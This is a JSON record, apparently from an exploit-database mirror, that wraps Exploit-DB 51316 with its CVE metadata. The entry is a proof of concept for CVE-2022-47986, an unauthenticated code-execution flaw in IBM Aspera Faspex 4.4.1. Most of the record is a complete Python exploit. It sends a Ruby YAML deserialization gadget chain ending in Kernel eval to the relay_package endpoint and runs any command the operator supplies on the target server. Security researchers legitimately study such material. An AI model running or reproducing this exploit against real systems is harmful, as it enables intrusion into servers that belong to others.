{"exploit":{"id":"EDB-51316","name":"IBM Aspera Faspex 4.4.1 - YAML Deserialization (RCE)","description":"IBM Aspera Faspex 4.4.1 - YAML Deserialization (RCE)","cves":["CVE-2022-47986"],"author":"Maurice Lambert","published":"2023-04-07","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51316","path":"exploits/multiple/remote/51316.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51316.py","vulnerabilities":[{"id":"CVE-2022-47986","state":"PUBLISHED","title":"IBM Aspera Faspex code execution","titleSource":"CVE Program","description":"IBM Aspera Faspex 4.4.2 Patch Level 1 and earlier could allow a remote attacker to execute arbitrary code on the system, caused by a YAML deserialization flaw. By sending a specially crafted obsolete API call, an attacker could exploit this vulnerability to execute arbitrary code on the system. The obsolete API call was removed in Faspex 4.4.2 PL2. IBM X-Force ID: 243512.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-47986","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"ibm","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-47986"},"updatedAt":"2025-10-21T23:15:24.899Z","retrievedAt":"2026-11-25T19:46:30.457Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51316.png?v=2","url":"https://exploitbin.com/exploits/EDB-51316","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51316/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51316/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: IBM Aspera Faspex 4.4.1 - YAML deserialization (RCE)\n# Date: 02/02/2023\n# Exploit Author: Maurice Lambert <mauricelambert434@gmail.com>\n# Vendor Homepage: https://www.ibm.com/\n# Software Link: https://www.ibm.com/docs/en/aspera-faspex/5.0?topic=welcome-faspex\n# Version: 4.4.1\n# Tested on: Linux\n# CVE : CVE-2022-47986\n\n\"\"\"\nThis file implements a POC for CVE-2022-47986\nan YAML deserialization that causes a RCE in\nIBM Aspera Faspex (before 4.4.2).\n\"\"\"\n\n__version__ = \"1.0.0\"\n__author__ = \"Maurice Lambert\"\n__author_email__ = \"mauricelambert434@gmail.com\"\n__maintainer__ = \"Maurice Lambert\"\n__maintainer_email__ = \"mauricelambert434@gmail.com\"\n__description__ = \"\"\"\nThis file implements a POC for CVE-2022-47986\nan YAML deserialization that causes a RCE in\nIBM Aspera Faspex (before 4.4.2).\n\"\"\"\nlicense = \"GPL-3.0 License\"\n__url__ = \"https://github.com/mauricelambert/CVE-2022-47986\"\n\ncopyright = \"\"\"\nCVE-2022-47986  Copyright (C) 2023  Maurice Lambert\nThis program comes with ABSOLUTELY NO WARRANTY.\nThis is free software, and you are welcome to redistribute it\nunder certain conditions.\n\"\"\"\n__license__ = license\n__copyright__ = copyright\n\n__all__ = []\n\nprint(copyright)\n\nfrom urllib.request import urlopen, Request\nfrom sys import argv, exit, stderr, stdout\nfrom shutil import copyfileobj\nfrom json import dumps\n\ndef main() -> int:\n\n    if len(argv) != 3:\n        print(\"USAGES:\", argv[0], \"[hostname] [command]\", file=stderr)\n        return 1\n\n    copyfileobj(\n        urlopen(\n            Request(\n                argv[1] + \"/aspera/faspex/package_relay/relay_package\",\n                method=\"POST\",\n                data=dumps({\n                    \"package_file_list\": [\n                        \"/\"\n                    ],\n                    \"external_emails\": f\"\"\"\n---\n- !ruby/object:Gem::Installer\n    i: x\n- !ruby/object:Gem::SpecFetcher\n    i: y\n- !ruby/object:Gem::Requirement\n  requirements:\n    !ruby/object:Gem::Package::TarReader\n    io: &1 !ruby/object:Net::BufferedIO\n      io: &1 !ruby/object:Gem::Package::TarReader::Entry\n         read: 0\n         header: \"pew\"\n      debug_output: &1 !ruby/object:Net::WriteAdapter\n         socket: &1 !ruby/object:PrettyPrint\n             output: !ruby/object:Net::WriteAdapter\n                 socket: &1 !ruby/module \"Kernel\"\n                 method_id: :eval\n             newline: \"throw `{argv[2]}`\"\n             buffer: {{}}\n             group_stack:\n              - !ruby/object:PrettyPrint::Group\n                break: true\n         method_id: :breakable\n\"\"\",\n                    \"package_name\": \"assetnote_pack\",\n                    \"package_note\": \"hello from assetnote team\",\n                    \"original_sender_name\": \"assetnote\",\n                    \"package_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\",\n                    \"metadata_human_readable\": \"Yes\",\n                    \"forward\": \"pew\",\n                    \"metadata_json\": '{}',\n                    \"delivery_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\",\n                    \"delivery_sender_name\": \"assetnote\",\n                    \"delivery_title\": \"TEST\",\n                    \"delivery_note\": \"TEST\",\n                    \"delete_after_download\": True,\n                    \"delete_after_download_condition\": \"IDK\",\n                }).encode()\n            )\n        ),\n        stdout.buffer,\n    )\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    exit(main())","sha256":"e57232c78158ed605d99b7b90ff8b031c25d1b4f27f04e9c66c393bbd3780afb","bytes":3407,"fetchedAt":"2026-11-26T16:08:45.081Z","encoding":"utf-8 (display only; download retains original bytes)"}